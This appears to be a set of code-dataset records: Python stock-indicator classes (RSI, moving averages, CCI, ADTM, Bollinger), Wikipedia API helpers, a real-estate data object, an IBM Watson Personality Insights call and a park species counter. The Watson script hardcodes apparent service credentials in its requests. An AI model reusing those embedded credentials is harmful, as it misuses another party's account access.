RSI3:SMA(MAX(CLOSE-LC,0),N3,1)/SMA(ABS(CLOSE-LC),N3,1)*100;\n \"\"\"\n\n def __init__(self, security, N1=6, N2=12, N3=24):\n self._value = {}\n\n self._security = security\n self._N1 = N1\n self._N2 = N2\n self._N3 = N3\n\n self._max_N = self.__calculate_max_n(max(N1, N2, N3))\n self._need_N1 = self.__calculate_max_n(N1)\n self._need_N2 = self.__calculate_max_n(N2)\n self._need_N3 = self.__calculate_max_n(N3)\n\n self._value['rsi1'] = None\n\n def before_market_open(self, context):\n if self._value['rsi1'] is None:\n previous_date = context.previous_date.strftime('%Y-%m-%d')\n tmp = RSI([self._security], check_date=previous_date, N1=self._N1)\n self._value['rsi1_'] = tmp[self._security]\n tmp = RSI([self._security], check_date=previous_date, N1=self._N2)\n self._value['rsi2_'] = tmp[self._security]\n tmp = RSI([self._security], check_date=previous_date, N1=self._N3)\n self._value['rsi3_'] = tmp[self._security]\n else:\n self._value['rsi1_'] = self._value['rsi1']\n self._value['rsi2_'] = self._value['rsi2']\n self._value['rsi3_'] = self._value['rsi3']\n # 可能存在复权,get_price的数据不能用来缓存计算(也可以通过上一个收盘价和当天取到的收盘价比较是否存在复权,这里为了简化代码(偷懒)直接重新拉取数据)\n self._X = \\\n get_price(self._security, end_date=context.previous_date.strftime('%Y-%m-%d'), frequency='1d',\n fields=['close'], skip_paused=True, count=self._max_N)['close']\n self._lc = self._X[-1]\n self._max_X, self._abs_X = self.__cumminus(self._X)\n # 今日值的占位符\n self._max_X.append(0)\n self._abs_X.append(0)\n\n def after_market_close(self, context):\n close = get_price(self._security, end_date=context.current_dt.strftime('%Y-%m-%d'), frequency='1d',\n fields=['close'], skip_paused=True, count=1)['close'][0]\n self._eval(close)\n\n def handle_data(self, context, data):\n self._eval(data[self._security].close)\n\n def handle_tick(self, context, tick):\n self._eval(tick.current)\n\n def _eval(self, close):\n dx = close - self._lc\n if dx > 0:\n self._abs_X[-1] = dx\n self._max_X[-1] = dx\n else:\n self._abs_X[-1] = -dx\n self._max_X[-1] = 0\n\n max_sma = sma_cn(X=self._max_X[-self._need_N1:], n=self._N1, m=1)\n abs_sma = sma_cn(X=self._abs_X[-self._need_N1:], n=self._N1, m=1)\n self._value['rsi1'] = 100.0 * max_sma / abs_sma\n\n max_sma = sma_cn(X=self._max_X[-self._need_N2:], n=self._N2, m=1)\n abs_sma = sma_cn(X=self._abs_X[-self._need_N2:], n=self._N2, m=1)\n self._value['rsi2'] = 100.0 * max_sma / abs_sma\n\n max_sma = sma_cn(X=self._max_X[-self._need_N3:], n=self._N3, m=1)\n abs_sma = sma_cn(X=self._abs_X[-self._need_N3:], n=self._N3, m=1)\n self._value['rsi3'] = 100.0 * max_sma / abs_sma\n\n def value(self):\n return self._value\n\n def check(self):\n if self._value['rsi1_'] < self._value['rsi2_']:\n if self._value['rsi1'] > self._value['rsi2']: # 金叉\n return 1\n elif self._value['rsi1_'] > self._value['rsi2_']:\n if self._value['rsi1'] < self._value['rsi2']: # 死叉\n return -1\n return 0\n\n def __cumminus(self, X):\n rs_max = []\n rs_abs = []\n for i in range(len(X) - 1):\n dx = X[i + 1] - X[i]\n if dx > 0:\n rs_abs.append(dx)\n rs_max.append(dx)\n else:\n rs_abs.append(-dx)\n rs_max.append(0)\n return rs_max, rs_abs\n\n def __calculate_max_n(self, n, theta=0.00001):\n \"\"\"\n 计算需要迭代的次数,保证最后的叠加量不超过theta\n :param n:\n :param theta:\n :return:\n \"\"\"\n alpha = 1.0 / n\n beta = 1 - alpha\n return int(math.log(theta / alpha, beta))\n\n def to_string(self):\n return '{rsi1:' + str(self._value['rsi1']) + ' rsi2:' + str(self._value['rsi2']) + ' rsi3:' + str(\n self._value['rsi3']) + '}'\n\n\nclass ROC_Real(IQuant):\n \"\"\"\n ROC:100*(CLOSE-REF(CLOSE,N))/REF(CLOSE,N);\n MAROC:MA(ROC,M);\n \"\"\"\n\n def __init__(self, security, N=12, M=6):\n self._value = {}\n\n self._security = security\n self._N = N\n self._M = M\n\n self._roc_list = None\n\n def before_market_open(self, context):\n if self._roc_list is None:\n bars = get_price(self._security, end_date=context.previous_date.strftime('%Y-%m-%d'), frequency='1d',\n fields=['close'], skip_paused=True, count=(self._N + self._M - 1))['close']\n self._lc = bars[-self._N]\n self._roc_list = map(lambda x, y: 100 * (y / x - 1), bars[:self._M - 1], bars[self._N:])\n else:\n self._lc = get_price(self._security, end_date=context.previous_date.strftime('%Y-%m-%d'), frequency='1d',\n fields=['close'], skip_paused=True, count=self._N)['close'][0]\n self._sum_roc = sum(self._roc_list)\n\n def after_market_close(self, context):\n close = get_price(self._security, end_date=context.current_dt.strftime('%Y-%m-%d'), frequency='1d',\n fields=['close'], skip_paused=True, count=1)['close'][0]\n self._eval(close)\n self._roc_list.pop(0)\n self._roc_list.append(self._value['roc'])\n\n def handle_data(self, context, data):\n self._eval(data[self._security].close)\n\n def handle_tick(self, context, tick):\n self._eval(tick.current)\n\n def _eval(self, close):\n self._value['roc'] = 100 * (close / self._lc - 1)\n self._value['maroc'] = (self._sum_roc + self._value['roc']) / self._M\n\n def value(self):\n return self._value\n\n def check(self):\n # TODO\n return 0\n\n def to_string(self):\n return '{roc:' + str(self._value['roc']) + ' maroc:' + str(self._value['maroc']) + '}'\n\n\nclass MA_Real(IQuant):\n \"\"\"\n 收盘价均线\n \"\"\"\n\n def __init__(self, security, M1=5, M2=10, M3=20, M4=60):\n self._value = {}\n\n self._security = security\n self._M1 = M1\n self._M2 = M2\n self._M3 = M3\n self._M4 = M4\n\n self._max_M = max(M1, M2, M3, M4)\n\n self._value['ma1'] = None\n\n def before_market_open(self, context):\n if self._value['ma1'] is None:\n self._list = list(\n get_price(self._security, end_date=context.previous_date.strftime('%Y-%m-%d'), frequency='1d',\n fields=['close'], skip_paused=True, count=self._max_M - 1)['close'])\n self._sum1 = sum(self._list[-self._M1 + 1:])\n self._sum2 = sum(self._list[-self._M2 + 1:])\n self._sum3 = sum(self._list[-self._M3 + 1:])\n self._sum4 = sum(self._list[-self._M4 + 1:])\n\n def after_market_close(self, context):\n close = get_price(self._security, end_date=context.current_dt.strftime('%Y-%m-%d'), frequency='1d',\n fields=['close'], skip_paused=True, count=1)['close'][0]\n self._eval(close)\n\n self._list.pop(0)\n self._list.append(close)\n\n def handle_data(self, context, data):\n self._eval(data[self._security].close)\n\n def handle_tick(self, context, tick):\n self._eval(tick.current)\n\n def _eval(self, close):\n self._value['ma1'] = (self._sum1 + close) / self._M1\n self._value['ma2'] = (self._sum2 + close) / self._M2\n self._value['ma3'] = (self._sum3 + close) / self._M3\n self._value['ma4'] = (self._sum4 + close) / self._M4\n\n def value(self):\n return self._value\n\n def check(self):\n # TODO\n return 0\n\n def to_string(self):\n return '{ma1:' + str(self._value['ma1']) + ' ma2:' + str(self._value['ma2']) + ' ma3:' + str(\n self._value['ma3']) + ' ma4:' + str(self._value['ma4']) + '}'\n\n\nclass VMA_Real(IQuant):\n \"\"\"\n 自定义权重均线\n VV:=(HIGH * K1 + OPEN * K2 + LOW * K3 + CLOSE * K4)/(K1+K2+K3+K4);\n VMA1:MA(VV,M1);\n VMA2:MA(VV,M2);\n \"\"\"\n\n def __init__(self, security, M1=5, M2=10, M_HIGH=1, M_LOW=1, M_OPEN=2, M_CLOSE=2):\n self._value = {}\n\n self._security = security\n self._M1 = M1\n self._M2 = M2\n self._M_HIGH = M_HIGH\n self._M_LOW = M_LOW\n self._M_OPEN = M_OPEN\n self._M_CLOSE = M_CLOSE\n\n self._max_M = max(M1, M2)\n self._sum_M = M_OPEN + M_CLOSE + M_HIGH + M_LOW\n\n self._value['ma1'] = None\n\n def before_market_open(self, context):\n if self._value['ma1'] is None:\n bars = get_price(self._security, end_date=context.previous_date.strftime('%Y-%m-%d'), frequency='1d',\n fields=['high', 'low', 'open', 'close'], skip_paused=True, count=self._max_M)\n vv_list = (bars['high'] * self._M_HIGH + bars['low'] * self._M_LOW + bars['open'] * self._M_OPEN + bars[\n 'close'] * self._M_CLOSE) / self._sum_M\n self._value['ma1_'] = vv_list[-self._M1:].sum()\n self._value['ma2_'] = vv_list[-self._M2:].sum()\n self._vv_list = list(vv_list[1:])\n\n else:\n self._value['ma1_'] = self._value['ma1']\n self._value['ma2_'] = self._value['ma2']\n\n self._sum1 = sum(self._vv_list[-self._M1 + 1:])\n self._sum2 = sum(self._vv_list[-self._M2 + 1:])\n\n self._open = None\n self._high = 0\n self._low = 1000000\n\n def after_market_close(self, context):\n today = get_price(self._security, end_date=context.current_dt.strftime('%Y-%m-%d'), frequency='1d',\n fields=['close', 'open', 'high', 'low'], skip_paused=True, count=1).iloc[0]\n vv = (\n today.high * self._M_HIGH + today.low * self._M_LOW + today.open * self._M_OPEN + today.close * self._M_CLOSE) / self._sum_M\n self._eval(today.high, today.low, today.close)\n\n self._vv_list.pop(0)\n self._vv_list.append(vv)\n\n def handle_data(self, context, data):\n if self._open is None:\n self._open = data[self._security].open\n\n self._eval(data[self._security].high, data[self._security].low, data[self._security].close)\n\n def handle_tick(self, context, tick):\n if self._open is None:\n self._open = tick.current\n self._eval(tick.current, tick.current, tick.current)\n\n def _eval(self, high, low, close):\n if self._high < high:\n self._high = high\n if self._low > low:\n self._low = low\n vv = (\n self._high * self._M_HIGH + self._low * self._M_LOW + self._open * self._M_OPEN + close * self._M_CLOSE) / self._sum_M\n self._value['ma1'] = (self._sum1 + vv) / self._M1\n self._value['ma2'] = (self._sum2 + vv) / self._M2\n\n def value(self):\n return self._value\n\n def check(self):\n \"\"\"\n 五日线上穿十日线买进\n :return:\n \"\"\"\n if self._value['ma1_'] < self._value['ma2_']:\n if self._value['ma1'] > self._value['ma2']:\n return 1\n elif self._value['ma1_'] > self._value['ma2_']:\n if self._value['ma1'] < self._value['ma2']:\n return -1\n return 0\n\n def to_string(self):\n return '{ma1:' + str(self._value['ma1']) + ' ma2:' + str(self._value['ma2']) + '}'\n\n\nclass CCI_Real(IQuant):\n \"\"\"\n TYP:=(HIGH+LOW+CLOSE)/3;\n CCI:(TYP-MA(TYP,N))/(0.015*AVEDEV(TYP,N));\n 其中AVEDEV=AVG(abs(MA-TYP))\n \"\"\"\n\n def __init__(self, security, N=14):\n self._value = {}\n\n self._security = security\n self._N = N\n\n self._value['cci'] = None\n\n def before_market_open(self, context):\n if self._value['cci'] is None:\n bars = get_price(self._security, end_date=context.previous_date.strftime('%Y-%m-%d'), frequency='1d',\n fields=['close', 'high', 'low'], skip_paused=True, count=self._N - 1)\n self._typ_list = ((bars.close + bars.high + bars.low) / 3.0).tolist()\n\n self._typ_list.append(0) # 占位符\n self._sum_typ = sum(self._typ_list)\n\n self._high = 0\n self._low = 1000000\n\n def after_market_close(self, context):\n today_bar = get_price(self._security, end_date=context.current_dt.strftime('%Y-%m-%d'), frequency='1d',\n fields=['close', 'high', 'low'], skip_paused=True, count=1).iloc[0]\n typ = (today_bar.close + today_bar.high + today_bar.low) / 3\n self._eval(typ)\n\n self._typ_list.pop(0)\n\n def handle_data(self, context, data):\n if self._high < data[self._security].high:\n self._high = data[self._security].high\n if self._low > data[self._security].low:\n self._low = data[self._security].low\n typ = (data[self._security].close + self._high + self._low) / 3\n self._eval(typ)\n\n def handle_tick(self, context, tick):\n if self._high < tick.current:\n self._high = tick.current\n if self._low > tick.current:\n self._low = tick.current\n typ = (tick.current + self._high + self._low) / 3\n self._eval(typ)\n\n def _eval(self, typ):\n self._typ_list[-1] = typ\n ma_typ = (self._sum_typ + typ) / self._N\n adeved = sum(map(lambda x: abs(x - ma_typ), self._typ_list)) / self._N\n self._value['cci'] = (typ - ma_typ) / (0.015 * adeved)\n\n def value(self):\n return self._value\n\n def check(self):\n \"\"\"\n TODO\n 1.CCI 为正值时,视为多头市场;为负值时,视为空头市场;\n 2.常态行情时,CCI 波动于±100 的间;强势行情,CCI 会超出±100 ;\n 3.CCI>100 时,买进,直到CCI<100 时,卖出;\n 4.CCI<-100 时,放空,直到CCI>-100 时,回补。\n :return:\n \"\"\"\n return 0\n\n def to_string(self):\n return '{cci:' + str(self._value['cci']) + '}'\n\n\nclass ADTM_Real(IQuant):\n \"\"\"\n DTM:=IF(OPEN<=REF(OPEN,1),0,MAX((HIGH-OPEN),(OPEN-REF(OPEN,1))));\n DBM:=IF(OPEN>=REF(OPEN,1),0,MAX((OPEN-LOW),(OPEN-REF(OPEN,1))));#后面部分(OPEN-REF(OPEN,1)明显小于0,不知道通达信写这部分意义何在?\n STM:=SUM(DTM,N);\n SBM:=SUM(DBM,N);\n ADTM:IF(STM>SBM,(STM-SBM)/STM,IF(STM=SBM,0,(STM-SBM)/SBM));\n MAADTM:MA(ADTM,M);\n \"\"\"\n\n def __init__(self, security, N=23, M=8):\n self._value = {}\n\n self._security = security\n self._N = N\n self._M = M\n\n self._adtm_list = None\n\n def before_market_open(self, context):\n if self._adtm_list is None:\n bars = get_price(self._security, end_date=context.previous_date.strftime('%Y-%m-%d'), frequency='1d',\n fields=['open', 'high', 'low'], skip_paused=True, count=self._N)\n self._open_list = list(bars['open'])\n self._high_list = list(bars['high'])\n self._low_list = list(bars['low'])\n self._stm_list, self._sbm_list = self.__stm_sbm()\n trade_days = get_trade_days(end_date=context.previous_date.strftime('%Y-%m-%d'), count=self._M - 1)\n self._adtm_list = []\n for trade_day in trade_days:\n ADTM_, MAADTM = ADTM(self._security, check_date=trade_day.strftime('%Y-%m-%d'), N=self._N, M=self._M)\n self._adtm_list.append(ADTM_[self._security])\n self._value['adtm_'] = ADTM_[self._security]\n self._value['maadtm_'] = MAADTM[self._security]\n else:\n self._value['adtm_'] = self._value['adtm']\n self._value['maadtm_'] = self._value['maadtm']\n self._STM = sum(self._stm_list)\n self._SBM = sum(self._sbm_list)\n self._sum_adtm = sum(self._adtm_list)\n\n self._open = None\n self._high = 0\n self._low = 1000000 # 假定股价没有超过1000000\n\n def after_market_close(self, context):\n today_bar = get_price(self._security, end_date=context.current_dt.strftime('%Y-%m-%d'), frequency='1d',\n fields=['open', 'high', 'low'], skip_paused=True, count=1).iloc[0]\n self._eval(today_bar.high, today_bar.low, today_bar.open)\n\n self._stm_list.pop(0)\n self._stm_list.append(self._stm)\n self._sbm_list.pop(0)\n self._sbm_list.append(self._sbm)\n self._adtm_list.pop(0)\n self._adtm_list.append(self._adtm)\n self._high_list.pop(0)\n self._high_list.append(today_bar.high)\n self._low_list.pop(0)\n self._low_list.append(today_bar.low)\n self._open_list.pop(0)\n self._open_list.append(today_bar.open)\n\n def handle_data(self, context, data):\n self._eval(data[self._security].high, data[self._security].low, data[self._security].open)\n\n def handle_tick(self, context, tick):\n self._eval(tick.current, tick.current, tick.current)\n\n def _eval(self, high, low, open):\n if self._open is None:\n self._open = open\n self._dx = self._open - self._open_list[-1]\n if self._high < high:\n self._high = high\n if self._low > low:\n self._low = low\n\n # dx = open - self._open_list[-1]\n self._stm, self._sbm = 0, 0\n if self._dx < 0:\n self._stm = 0\n self._sbm = open - low\n elif self._dx > 0:\n self._stm = max(high - open, self._dx)\n self._sbm = 0\n\n STM = self._STM + self._stm\n SBM = self._SBM + self._sbm\n self._adtm = 0\n if STM > SBM:\n self._adtm = (STM - SBM) / STM\n elif STM < SBM:\n self._adtm = (STM - SBM) / SBM\n\n self._value['adtm'] = self._adtm\n self._value['maadtm'] = (self._sum_adtm + self._adtm) / self._M\n\n def value(self):\n return self._value\n\n def check(self):\n \"\"\"\n 1.ADTM指标在+1到-1之间波动。\n 2.低于-0.5时为低风险区,高于+0.5时为高风险区,需注意风险。\n 3.ADTM上穿ADTMMA时,买入股票;ADTM跌穿ADTMMA时,卖出股票。\n :return:\n \"\"\"\n if self._value['adtm_'] < self._value['maadtm_']:\n if self._value['adtm'] > self._value['maadtm']:\n return 1\n else:\n if self._value['adtm'] < self._value['maadtm']:\n return -1\n return 0\n\n def __stm_sbm(self):\n stm_list = []\n sbm_list = []\n for i in range(len(self._open_list) - 1):\n dx = self._open_list[i + 1] - self._open_list[i]\n if dx < 0:\n stm_list.append(0)\n sbm_list.append(self._open_list[i + 1] - self._low_list[i + 1])\n elif dx > 0:\n stm_list.append(max(self._high_list[i + 1] - self._open_list[i + 1], dx))\n sbm_list.append(0)\n else:\n stm_list.append(0)\n sbm_list.append(0)\n return stm_list, sbm_list\n\n def to_string(self):\n return '{adtm:' + str(self._value['adtm']) + ' maadtm:' + str(self._value['maadtm']) + '}'\n\n\nclass BOLL_Real(IQuant):\n \"\"\"\n BOLL:MA(CLOSE,M);\n UB:BOLL+2*STD(CLOSE,M);\n LB:BOLL-2*STD(CLOSE,M);\n \"\"\"\n\n def __init__(self, security, M=20):\n self._security = security\n self._M = M\n\n self._value = {}\n self._close_list = None\n\n def before_market_open(self, context):\n if self._close_list is None:\n self._close_list = list(\n get_price(self._security, end_date=context.previous_date.strftime('%Y-%m-%d'), frequency='1d',\n fields=['close'], skip_paused=True, count=self._M - 1)['close'])\n self._sum = sum(self._close_list)\n self._close_list.append(0) # 占位符\n\n def after_market_close(self, context):\n close = get_price(self._security, end_date=context.current_dt.strftime('%Y-%m-%d'), frequency='1d',\n fields=['close'], skip_paused=True, count=1)['close'][0]\n self._eval(close)\n\n self._close_list.pop(0)\n\n def handle_data(self, context, data):\n self._eval(data[self._security].close)\n\n def handle_tick(self, context, tick):\n self._eval(tick.current)\n\n def _eval(self, close):\n self._value['boll'] = (self._sum + close) / self._M\n self._close_list[-1] = close\n std = math.sqrt(sum(map(lambda x: math.pow(x - self._value['boll'], 2), self._close_list)) / (self._M - 1))\n # std=np.std(self._close_list,ddof=1)\n self._value['ub'] = self._value['boll'] + 2 * std\n self._value['lb'] = self._value['boll'] - 2 * std\n\n def value(self):\n return self._value\n\n def check(self):\n # TODO\n return 0\n\n def to_string(self):\n return '{boll:' + str(self._value['boll']) + ' ub:' + str(self._value['ub']) + ' lb:' + str(\n self._value['lb']) + '}'\n\n\n# ==================多指标共振集合================================\nclass QuantFactory(object):\n \"\"\"\n 多指标集合\n \"\"\"\n\n def __init__(self):\n self._factory = []\n\n def add(self, factor):\n self._factory.append(factor)\n\n def before_market_open(self, context):\n for fac in self._factory:\n fac.before_market_open(context)\n\n def after_market_close(self, context):\n for fac in self._factory:\n fac.after_market_close(context)\n\n def handle_data(self, context, data):\n for fac in self._factory:\n fac.handle_data(context, data)\n\n def handle_tick(self, context, tick):\n for fac in self._factory:\n fac.handle_tick(context, tick)\n\n def check(self):\n for fac in self._factory:\n if fac.check() <= 0:\n return False\n return True\n\n\ndef sma_cn(X, n, m=2):\n y = X[0]\n for i in range(1, len(X)):\n y = (m * X[i] + (n - m) * y) / n\n return y\n\n\nif __name__ == '__main__':\n a = [72.80701754385962, 34.78260869565227, 31.4285714285713, 74.99999999999982, 0.0, 3.3333333333335506,\n 12.903225806451603, 5.6338028169015315, 19.230769230769177, 18.918918918919037, 40.540540540540725,\n 10.344827586206707, 2.3809523809523307, 90.90909090909109, 84.8484848484849, 80.8823529411766,\n 97.05882352941184]\n for n in range(4, 16, 1):\n print(sma_cn(a[-n:], n=4, m=2))\n","sub_path":"easytrader/jqtalib/talib_real.py","file_name":"talib_real.py","file_ext":"py","file_size_in_byte":35322,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"557078915","text":"import networkx as nx\nimport pickle\nimport json\nimport math\nimport requests\n# import wikipediaapi\nfrom collections import Counter\n\n# from nltk.corpus import wordnet as wn\n\nclass Wiki:\n def create_graph(self, graph, categ_filePATH):\n \"\"\" Graph node: page or category page; \n edge: page belongs to category relation. (only 1 type)\n \"\"\"\n with open(categ_filePATH,'rb') as file:\n link_dict = pickle.load(file)\n\n pages = set()\n\n for from_page in link_dict:\n if from_page not in graph:\n graph.add_node(from_page)\n if len(from_page) <= 9 or from_page[:9] != 'Category:':\n pages.add(from_page)\n for to_page in link_dict[from_page]:\n if to_page not in graph:\n graph.add_node(to_page)\n graph.add_edge(from_page, to_page)\n \n\n def wiki_query(self, PARAMS):\n S = requests.Session()\n URL = \"https://en.wikipedia.org/w/api.php\"\n R = S.get(url=URL, params=PARAMS)\n\n return R.json()\n \n \n def get_subcat(self, wikicat, limit):\n PARAMS = {\n \"action\":\"query\",\n \"format\":\"json\",\n \"list\":\"categorymembers\",\n \"cmtitle\":wikicat,\n \"cmlimit\":limit,\n \"cmtype\":\"subcat\",\n }\n DATA = self.wiki_query(PARAMS)\n return [cat['title'] for cat in DATA['query']['categorymembers']]\n\n \n def get_wikidataID(self, title):\n \"\"\" Return None when title doesn't exist. \"\"\"\n PARAMS = {\n \"action\":\"query\",\n \"format\":\"json\",\n \"prop\":\"pageprops\",\n \"ppprop\":\"wikibase_item\",\n \"redirects\":1,\n \"titles\":title\n }\n DATA = self.wiki_query(PARAMS)\n if len(DATA['query']['pages'].keys())==1:\n wikipediaID = list(DATA['query']['pages'].keys())[0]\n else:\n raise ValueError('More than 1 Wikipedia ID in this Title.')\n\n if wikipediaID == '-1':\n return None\n return DATA['query']['pages'][wikipediaID]['pageprops']['wikibase_item']\n\n\n def get_unambig_words(self, redirectLink_filePATH):\n \"\"\"Get words that only redirect to one page.\n Returns:\n unambig_words(dict) - key: column1 in en.link.redirect.txt / value: column2 in en.link.redirect.txt\n {'assignee':'Assignment (law)', 'American_Party':'American_party', 'John_Doe':'John_doe' ...} \n \"\"\"\n with open(redirectLink_filePATH, 'r', encoding=\"utf-8\") as f:\n data = f.readlines()\n titles = [line.split('\\t')[0] for line in data]\n redirects = [line.split('\\t')[1] for line in data]\n unambig_lemma = {title for title, numOfLinks in Counter(titles).items() if numOfLinks == 1}\n unambig_words = {}\n for idx, title in enumerate(titles):\n if title in unambig_lemma:\n unambig_words[title] = redirects[idx]\n\n return unambig_words\n \n\n def read_redirect_file(PATH):\n \"\"\"Return redirect information in dictionary, key: from_page / value: to_page.\n \"\"\"\n with open(PATH, 'r', encoding='utf-8') as f:\n data = f.readlines()\n from_pages = [line.strip().split('\\t')[1].strip(\"'\") for line in data]\n to_pages = [line.strip().split('\\t')[2].strip(\"'\") for line in data]\n redirects = {}\n for idx, from_page in enumerate(from_pages):\n redirects[from_page] = to_pages[idx]\n\n return redirects\n \n \n def __init__(self, categ_filePATH, redirectLink_filePATH, redirect_filePATH):\n \"\"\"\n self.cats(list) = ['Category:Main topic articles', 'Category:Academic disciplines', 'Category:Business', ...]\n self.unambig_words(dict): from column1 en.link.redirect.txt\n \"\"\"\n self.cat_graph = nx.DiGraph()\n self.create_graph(self.cat_graph, categ_filePATH)\n self.cats = self.get_subcat('Category:Main_topic_classifications', limit=40)\n self.unambig_words = self.get_unambig_words(redirectLink_filePATH)\n self.__redirects__ = self.read_redirect_file(redirect_filePATH)\n\n\n # Wiki get multiple maintopics\n def get_nearest_mtp(self, page, cats):\n def shortest(page, cat):\n try:\n l = nx.shortest_path_length(self.cat_graph, page, cat)\n except:\n return math.inf\n else:\n return l\n try:\n l = [shortest(page, cat) for cat in cats]\n nearest_idx = [idx for idx, steps in enumerate(l) if steps==min(l)]\n nearest_mtp = [cats[i] for i in nearest_idx]\n except nx.NodeNotFound:\n nearest_mtp = \"Page not found\"\n except nx.NetworkXNoPath:\n nearest_mtp = \"No path from Page:{} to maintopic\".format(page)\n \n return nearest_mtp","sub_path":"core_wiki.py","file_name":"core_wiki.py","file_ext":"py","file_size_in_byte":4931,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"344161532","text":"import requests\nfrom urllib.parse import urlencode\n\n\nurl = 'https://en.wikipedia.org/w/api.php?'\nquery_param = dict()\ndef query_wikipedia(payload):\n query_param.update({'format': 'json'})\n query_param.update({'action': 'query'})\n query_param.update({'prop': 'info|coordinates'})\n query_param.update({'redirects': 1})\n query_param.update({'titles': payload['title']})\n query = url + urlencode(query_param)\n\n try:\n res = requests.post(query)\n except Exception:\n print('Connection Exception')\n return None\n return res.json()\n\n\ndef extract_location_from_wikipedia(text):\n if text is None:\n return None\n\n location_list = []\n # .update({'annotated_text': {'location_data': extract_location_data(json_text['Resources'])}})\n\n for contents in text:\n try:\n result = do_extract(query_wikipedia({'title': contents['word']}), contents)\n if result is not None:\n location_list.append(result)\n except:\n pass\n return location_list\n\ndef do_extract(text, pos_text):\n text = text['query']['pages']\n if not '-1' in text:\n\n for k in text:\n text = text[k]\n if 'coordinates' in text:\n location_data = dict()\n text = text['coordinates']\n location_data['latd'] = text[0]['lat']\n location_data['long'] = text[0]['lon']\n location_data['entity_name'] = pos_text['originalText']\n location_data['start'] = pos_text['characterOffsetBegin']\n location_data['end'] = pos_text['characterOffsetEnd']\n location_data['by'] = 'wikipedia'\n\n return location_data","sub_path":"crisis_map_backend/services/geoparsing/wikipedia/wikipedia_geoloc_extractor.py","file_name":"wikipedia_geoloc_extractor.py","file_ext":"py","file_size_in_byte":1722,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"615439558","text":"\"\"\"\n * Project: RealEstate_picker.\n * Author: Levan Ostrowski\n * User: cod3venom\n * Date: 2021-04-25\n * Time: 22:10:19\n * Github: https://github.com/cod3venom\n\"\"\"\n\nimport json\nfrom Kernel.Global import ctx\nfrom DataOperations.LIST import LIST\nfrom DataOperations.StringBuilder import StringBuilder\n\n\nclass MorizonProductTObject:\n\n def __init__(self, TITLE: str, DESCRIPTION: list, IMAGES: list, PRICE: str, LOCATION: str, MEASUREMENT: str,\n ROOMS_AMOUNT: str, PHONE_NUMBER: str, CONTACT_DIGNITY: str):\n self.title = TITLE\n self.description = LIST.list_to_str(DESCRIPTION)\n self.images = IMAGES\n self.price = PRICE\n self.location = LOCATION\n self.measurement = MEASUREMENT\n self.rooms_amount = ROOMS_AMOUNT\n self.phone_number = PHONE_NUMBER\n self.contact_dignity = CONTACT_DIGNITY\n\n ctx.Logger.Print(0,ctx.LogLevel.Success, self.__repr__())\n\n @classmethod\n def TO(cls, jsData: str):\n try:\n if jsData != \"\":\n return cls(**json.loads(jsData))\n else:\n return cls(**{'title': 'empty', 'description': 'empty', 'images': 'empty', 'price': 'empty',\n 'location': 'empty', 'measurement': 'empty', 'rooms_amount': 'empty',\n 'phone_number': 'empty', 'contact_dignity': 'empty'})\n except KeyError as KeyErr:\n pass # print (True, 3, levels.Error)\n\n def __repr__(self):\n buffer = StringBuilder()\n buffer.append(\"\")\n return buffer.string\n","sub_path":"DAO/MorizonProductTObject.py","file_name":"MorizonProductTObject.py","file_ext":"py","file_size_in_byte":2126,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"142659176","text":"import requests\nimport json\nimport time\n\ndef ask(text):\n data_to_send = json.dumps(text).encode(\"utf-8\")\n print(\"in ask: \",data_to_send)\n response = requests.post(\"https://gateway.watsonplatform.net/personality-insights/api/v2/profile\",\n auth=(\"820ee1db-ccf9-43eb-a05f-677b51fe44b1\", \"2SeuZhiKWeHX\"),\n headers={\"content-type\": \"text/plain\"},\n data=data_to_send\n )\n \"\"\"\n response = requests.post(\"https://gateway.watsonplatform.net/personality-insights/api/v2/profile\",\n auth=(\"820ee1db-ccf9-43eb-a05f-677b51fe44b1\", \"vjeoi7qsGTpX\"),\n headers={\"content-type\": \"text/plain\"},\n data=data_to_send\n )\n \"\"\"\n print(response)\n jsonProfile = json.loads(response.text)\n\n #print(json.dumps(jsonProfile, indent=4, sort_keys=True))\n #time.sleep(3)\n\n return jsonProfile","sub_path":"watson_request.py","file_name":"watson_request.py","file_ext":"py","file_size_in_byte":980,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"198930610","text":"#\r\n# Author: Alvin Thai\r\n# Description:\r\n# Reads csv files about parks and number of flora and fauna in each park, creates a dictionary with park names and their areas and a dictionary with the number of flora and fauna in each park, then prints the density of flora and fauna in each park. Assertions are used to check if file inputs are usable.\r\n#\r\n# Reads a csv file with parks and their areas and creates a dictionary with each park as keys and the areas as values. Values are stored as single element tuples. The dictionary is returned for later use.\r\ndef init():\r\n parks = {}\r\n pfile = input()\r\n p = open(pfile, 'r')\r\n park = p.readlines()\r\n for line in park:\r\n line = line.rstrip('\\n').split(\",\")\r\n assert type(line) == list # checks that a list is created from line\r\n if \"#\" not in line[0]:\r\n parks[line[0]] = tuple([int(line[2])])\r\n p.close()\r\n return parks\r\n\r\n# Reads a file with species in each park, then counts the number of flora and fauna in each park. Creates a dictionary with each park as the keys and the flora/ fauna counts as values in tuples. Asserts are used to check if the file has proper info. \r\ndef species_init(parks):\r\n assert type(parks) == dict # the argument has to be a dictionary \r\n categories = {}\r\n c_flora = ['Algae', 'Fungi', 'Nonvascular Plant', 'Vascular Plant']\r\n c_fauna = ['Amphibian', 'Bird', 'Crab/Lobster/Shrimp', 'Fish', 'Insect',\\\r\n 'Invertebrate', 'Mammal', 'Reptile', 'Slug/Snail',\\\r\n 'Spider/Scorpion']\r\n flora = 0\r\n fauna = 0\r\n sinfo = input()\r\n s = open(sinfo, 'r')\r\n species = s.readlines()\r\n for line in species:\r\n line = line.rstrip('\\n').split(\",\")\r\n assert line[1] in c_flora or c_fauna # the file has to have the categories indicated in the lists or it will not run\r\n if \"#\" not in line[0] and line[0] not in categories:\r\n categories[line[0]] = tuple([flora, fauna]) # park names are established to keys of this dictionary\r\n for park in categories:\r\n for line in species: # increases the count of flora and fauna for each line[1] read through\r\n line = line.rstrip('\\n').split(\",\")\r\n if line[1] in c_flora and line[0] == park and \"#\" not in line[0]:\r\n flora += 1\r\n if line[1] in c_fauna and line[0] == park and \"#\" not in line[0]:\r\n fauna += 1\r\n categories[park] = tuple([flora, fauna])\r\n flora = 0\r\n fauna = 0\r\n s.close()\r\n return parks, 